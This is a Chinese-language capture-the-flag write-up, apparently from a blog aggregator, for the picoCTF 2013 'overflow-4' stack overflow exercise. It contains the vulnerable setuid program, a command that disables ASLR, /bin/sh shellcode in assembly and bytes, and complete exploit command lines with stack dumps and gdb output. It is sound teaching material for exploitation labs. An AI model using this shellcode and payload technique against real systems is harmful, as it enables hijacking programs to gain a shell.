pico-ctf 2013 overflow-4
来源:互联网 发布:c语言从单数1加到100 编辑:程序博客网 时间:2024/05/21 02:51
栈溢出入门系列入门教程四
本片是栈溢出系列的第四篇
overflow4.c
#include <stdio.h>#include <string.h>#include <unistd.h>#include <sys/types.h>#include "dump_stack.h"/* * Goal: Get the program to run a shell. */void vuln(char *str) { char buf[64]; strcpy(buf, str); dump_stack((void **) buf, 21, (void **) &str);}int main(int argc, char **argv) { if (argc != 2) { printf("Usage: buffer_overflow_shellcode [str]\n"); return 1; } uid_t euid = geteuid(); setresuid(euid, euid, euid); vuln(argv[1]); return 0;}
checksec:
CANARY : disabledFORTIFY : disabledNX : disabledPIE : disabledRELRO : Partial
可见几乎没有什么保护.
思路: 程序源码中没有涉及到system(“/bin/sh”)函数. 要想获得shell必须靠我们自己注入shellcode, 然后劫持eip,让它去执行我们的shellcode. shellcode的写法我也在学习, 在这里推荐几个方便我们写shellcode的工具: 1.pwntools, 2.metaploits.
方法一: 现在需要两个地址: 一个是buffer start, 另一个是返回值地址. 让返回值地址指向我们的buffer start. 对于本题而言, 由于c源码中已有了打印堆栈的函数, 所以我们能够轻松的找到这两个位置. 但是需要关闭系统的地址随机化功能, 这样返回值地址不会随时变, 测试才能成功.
root权限执行下面命令:
echo 0>/proc/sys/kernel/randomize_va_space
./overflow4 $(python -c "print 'A'*64+'B'*4")Stack dump:0xffffced0: 0xffffd196 (first argument)0xffffcecc: 0x08048653 (saved eip)0xffffcec8: 0xffffcef8 (saved ebp)0xffffcec4: 0xf7eaf1000xffffcec0: 0x424242420xffffcebc: 0x414141410xffffceb8: 0x414141410xffffceb4: 0x414141410xffffceb0: 0x414141410xffffceac: 0x414141410xffffcea8: 0x414141410xffffcea4: 0x414141410xffffcea0: 0x414141410xffffce9c: 0x414141410xffffce98: 0x414141410xffffce94: 0x414141410xffffce90: 0x414141410xffffce8c: 0x414141410xffffce88: 0x414141410xffffce84: 0x414141410xffffce80: 0x41414141 (beginning of buffer)buffer start:0xffffce80返回值地址 : 0xffffcecc二者相差76个字节,于是我们的payload=shellcode+'A'(76-len(shellcode))+'\x80\xce\xff\xff'
汇编代码:
execve ("/bin/sh") xor ecx, ecxmul ecxpush ecxpush 0x68732f2f ;; hs//push 0x6e69622f ;; nib/mov ebx, espmov al, 11int 0x80
对应的机器码:
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"shellcode += "\x0b\xcd\x80"
机器码才是我们要利用的shellcode.
测试:
./overflow4 $(python -c "print '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'+'A'*55+'\x70\xce\xff\xff'")Stack dump:0xffffcec0: 0xffffd100 (first argument)0xffffcebc: 0xffffce70 (saved eip)0xffffceb8: 0x41414141 (saved ebp)0xffffceb4: 0x414141410xffffceb0: 0x414141410xffffceac: 0x414141410xffffcea8: 0x414141410xffffcea4: 0x414141410xffffcea0: 0x414141410xffffce9c: 0x414141410xffffce98: 0x414141410xffffce94: 0x414141410xffffce90: 0x414141410xffffce8c: 0x414141410xffffce88: 0x414141410xffffce84: 0x414141800xffffce80: 0xcd0bb0e30xffffce7c: 0x896e69620xffffce78: 0x2f6868730xffffce74: 0x2f2f68510xffffce70: 0xe1f7c931 (beginning of buffer)$
成功.
方法二: 不使用程序本身的dump_stack函数, 自己找出buffer start.通过gdb调试找出buffer start 和返回值地址两者相差距离76, 然后退出gdb,运行该程序.
./overflow4 $(python -c "print 'A'*76+'B'*4")Stack dump:0xffffcec0: 0xffffd100 (first argument)0xffffcebc: 0x42424242 (saved eip)0xffffceb8: 0x41414141 (saved ebp)0xffffceb4: 0x414141410xffffceb0: 0x414141410xffffceac: 0x414141410xffffcea8: 0x414141410xffffcea4: 0x414141410xffffcea0: 0x414141410xffffce9c: 0x414141410xffffce98: 0x414141410xffffce94: 0x414141410xffffce90: 0x414141410xffffce8c: 0x414141410xffffce88: 0x414141410xffffce84: 0x414141410xffffce80: 0x414141410xffffce7c: 0x414141410xffffce78: 0x414141410xffffce74: 0x414141410xffffce70: 0x41414141 (beginning of buffer)Segmentation fault (core dumped)
出现段错误, 此时我们调试其core文件, 出现类似的信息. 说明我们的’B’字符将返回值地址覆盖了.
Core was generated by `./overflow4 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.Program terminated with signal SIGSEGV, Segmentation fault.#0 0x42424242 in ?? ()输入:x/10s $esp-800xffffce70: 'A' <repeats 76 times>, "BBBB"0xffffcec1: "\321\377\377\350\003"0xffffcec7: ""0xffffcec8: "\350\003"0xffffcecb: ""0xffffcecc: "\353\331\342\367\334\363\372\367<\202\004\bi\206\004\b\350\003"0xffffcedf: ""0xffffcee0: ""0xffffcee1: "\360\372", <incomplete sequence \367>0xffffcee5: "\360\372", <incomplete sequence \367>
由此我们也找到了buffer start的地址.后面的就和方法一一样了.
有同学可能会问: 为什么不通过gdb来找buffer start呢, 很简单的?
这里我引用其他文章的话来回答这个问题
对初学者来说这个shellcode地址的位置其实是一个坑。因为正常的思维是使用gdb调试目标程序,然后查看内存来确定shellcode的位置。但当你真的执行exp的时候你会发现shellcode压根就不在这个地址上!这是为什么呢?原因是gdb的调试环境会影响buf在内存中的位置,虽然我们关闭了ASLR,但这只能保证buf的地址在gdb的调试环境中不变
引用地址:http://www.tuicool.com/articles/ZruA7bZ
注: 我的环境是ubuntu 16.04 64bit. 不同操作系统, 对应的地址可能不一样, 在测试之前, 请先关闭系统的地址随机能力.文件下载地址:https://github.com/picoCTF/2013-Problems/tree/master/Overflow%204
欢迎大家评论提建议, 有什么问题也可以联系我.
- pico-ctf 2013 overflow-4
- pico-ctf-2013 overflow-1
- pico-ctf-2013 overflow-2
- pico-ctf-2013 overflow-3
- pico-ctf 2013 overflow-5
- PICO CTF 2013 PHP 2: 85
- Asis CTF 2013: "RSAng"
- CTF
- ctf
- ctf
- ctf
- CTF
- Backdoor CTF 2013: Web 50
- overflow
- overflow
- overflow
- Overflow
- overflow
- tk库的使用
- 继原创保护功能开通之后,又开通赞赏功能
- postman测试post请求参数为json类型
- 编译原理学习笔记---自上而下分析
- 邮递员送信(letter)
- pico-ctf 2013 overflow-4
- 【Unity】【转】四元数(Quaternion)和旋转
- C语言--无类型指针
- 如何解决使用pypal库创建svg图表失败
- nginx+tomcat实现主备切换
- 从1到n整数中1出现的次数(Java实现)
- recvmsg和sendmsg函数
- 单读者写者(一个读者一个写者)问题为何要加锁
- SpringMvc中配置国际化资源文件